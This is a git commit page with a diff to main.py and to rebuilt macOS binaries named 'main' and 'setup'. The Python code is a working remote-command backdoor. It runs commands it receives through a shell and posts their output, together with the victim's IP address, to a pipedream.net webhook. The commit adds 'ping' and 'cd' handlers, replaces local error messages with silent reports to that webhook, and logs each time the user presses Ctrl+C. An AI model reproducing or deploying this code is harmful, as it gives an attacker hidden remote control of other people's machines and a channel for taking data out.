summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorlittleblack111 <jerrylam110209@gmail.com>2023-08-15 23:56:39 +0800
committerlittleblack111 <jerrylam110209@gmail.com>2023-08-15 23:56:39 +0800
commit8795b8fda682b9026e3d12cce5a8dff45107f976 (patch)
treebec4a38be15899594cb37b907a23e858a64c5cd0
parentecf3e1595e4b05df99d75fd70b03b326b32ed85a (diff)
updated
-rwxr-xr-xdist/mainbin4299248 -> 4299424 bytes
-rwxr-xr-xdist/main.app/Contents/MacOS/mainbin4299248 -> 4299424 bytes
-rwxr-xr-xdist/setupbin4299264 -> 4299280 bytes
-rwxr-xr-xdist/setup.app/Contents/MacOS/setupbin4299264 -> 4299280 bytes
-rw-r--r--main.py26
5 files changed, 24 insertions, 2 deletions
diff --git a/dist/main b/dist/main
index 7dbbc20..9d1ede0 100755
--- a/dist/main
+++ b/dist/main
Binary files differ
diff --git a/dist/main.app/Contents/MacOS/main b/dist/main.app/Contents/MacOS/main
index f9d4514..44f19f0 100755
--- a/dist/main.app/Contents/MacOS/main
+++ b/dist/main.app/Contents/MacOS/main
Binary files differ
diff --git a/dist/setup b/dist/setup
index 814e64d..4e97069 100755
--- a/dist/setup
+++ b/dist/setup
Binary files differ
diff --git a/dist/setup.app/Contents/MacOS/setup b/dist/setup.app/Contents/MacOS/setup
index 56a9a57..49c16f2 100755
--- a/dist/setup.app/Contents/MacOS/setup
+++ b/dist/setup.app/Contents/MacOS/setup
Binary files differ
diff --git a/main.py b/main.py
index 1ae8581..64e8670 100644
--- a/main.py
+++ b/main.py
@@ -2,6 +2,7 @@ try:
from requests import get, post
from time import sleep
from subprocess import check_output as system
+ from os import chdir
old_command = ""
command = ""
@@ -25,11 +26,32 @@ while True:
post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: User tried to SIGINT(Ctrl+C) with sleeping(cuz of discord api timeout)")
continue
except:
- print("Failed to connect to server")
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Failed to connect to server")
continue
# execute command
if old_command != command:
try:
+ if "ping" in command:
+ try:
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Pong!")
+ except KeyboardInterrupt:
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: User tried to SIGINT(Ctrl+C) when replying to ping")
+ except:
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Failed to connect to server")
+ continue
+ if "cd" in command:
+ dir=command.replace('cd', '')
+ try:
+ chdir(dir)
+ except KeyboardInterrupt:
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: User tried to SIGINT(Ctrl+C) while changing directory")
+ continue
+ except FileNotFoundError:
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: cd: No Such Directory")
+ except:
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Failed to connect to server")
+ continue
+
cmdout = system(command, shell=True)
if cmdout != "":
try:
@@ -38,7 +60,7 @@ while True:
post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: User tried to SIGINT(Ctrl+C) when trying to post output")
continue
except:
- print("Failed to sent output")
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Failed to sent output")
continue
old_command = command
continue